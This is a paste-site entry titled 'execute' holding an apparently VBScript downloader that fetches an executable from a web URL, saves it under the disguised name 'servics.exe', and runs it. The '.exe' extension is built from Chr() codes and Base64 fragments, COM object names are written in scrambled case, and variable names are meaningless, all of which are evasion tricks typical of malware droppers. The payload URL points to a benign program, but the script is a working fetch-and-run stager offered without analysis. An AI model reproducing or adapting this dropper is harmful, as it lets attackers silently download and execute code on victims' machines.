execute


SUBMITTED BY: PeterJackson

DATE: May 6, 2016, 9:05 a.m.

FORMAT: VB.net

SIZE: 2.4 kB

HITS: 582

  1. Call parent()
  2. Sub parent()
  3. strFileURL = "http://the.earth.li/~sgtatham/putty/0.63/x86/putty.exe"
  4. strHDLocation = "servics." & Chr(101) & Chr(120) & Chr(101)
  5. k = janu(strFileURL,strHDLocation)
  6. Set fso = CreateObject("Scripting.FileSystemObject")
  7. If (fso.FileExists(strHDLocation)) Then
  8. CreateObject("WScript.Shell").run "servics." & Base64Decode("ZQ==") & Base64Decode("eA==") & "e"
  9. End If
  10. Set fso = Nothing
  11. End sub
  12. Function Base64Decode(ByVal base64String)
  13. Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  14. Dim dataLength, sOut, groupBegin
  15. base64String = Replace(base64String, vbCrLf, "")
  16. base64String = Replace(base64String, vbTab, "")
  17. base64String = Replace(base64String, " ", "")
  18. dataLength = Len(base64String)
  19. If dataLength Mod 4 <> 0 Then
  20. Err.Raise 1, "Base64Decode", "Bad Base64 string."
  21. Exit Function
  22. End If
  23. For groupBegin = 1 To dataLength Step 4
  24. Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
  25. numDataBytes = 3
  26. nGroup = 0
  27. For CharCounter = 0 To 3
  28. thisChar = Mid(base64String, groupBegin + CharCounter, 1)
  29. If thisChar = "=" Then
  30. numDataBytes = numDataBytes - 1
  31. thisData = 0
  32. Else
  33. thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
  34. End If
  35. If thisData = -1 Then
  36. Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
  37. Exit Function
  38. End If
  39. nGroup = 64 * nGroup + thisData
  40. Next
  41. nGroup = Hex(nGroup)
  42. nGroup = String(6 - Len(nGroup), "0") & nGroup
  43. pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
  44. Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
  45. Chr(CByte("&H" & Mid(nGroup, 5, 2)))
  46. sOut = sOut & Left(pOut, numDataBytes)
  47. Next
  48. Base64Decode = sOut
  49. End Function
  50. function janu(strFileURL,strHDLocation)
  51. Set walabapoi = CreateObject("MsXmL2.xMLhTtP")
  52. walabapoi.open "GET", strFileURL, false
  53. walabapoi.send()
  54. If walabapoi.Status = 200 Then
  55. Set Newujapi = CreateObject("AdOdB.sTrEam")
  56. Newujapi.Open
  57. Newujapi.Type = 1
  58. Newujapi.Write walabapoi.ResponseBody
  59. Newujapi.Position = 0
  60. Newujapi.SaveToFile strHDLocation
  61. Newujapi.Close
  62. Set Newujapi = Nothing
  63. End if
  64. Set walabapoi = Nothing
  65. end function

comments powered by Disqus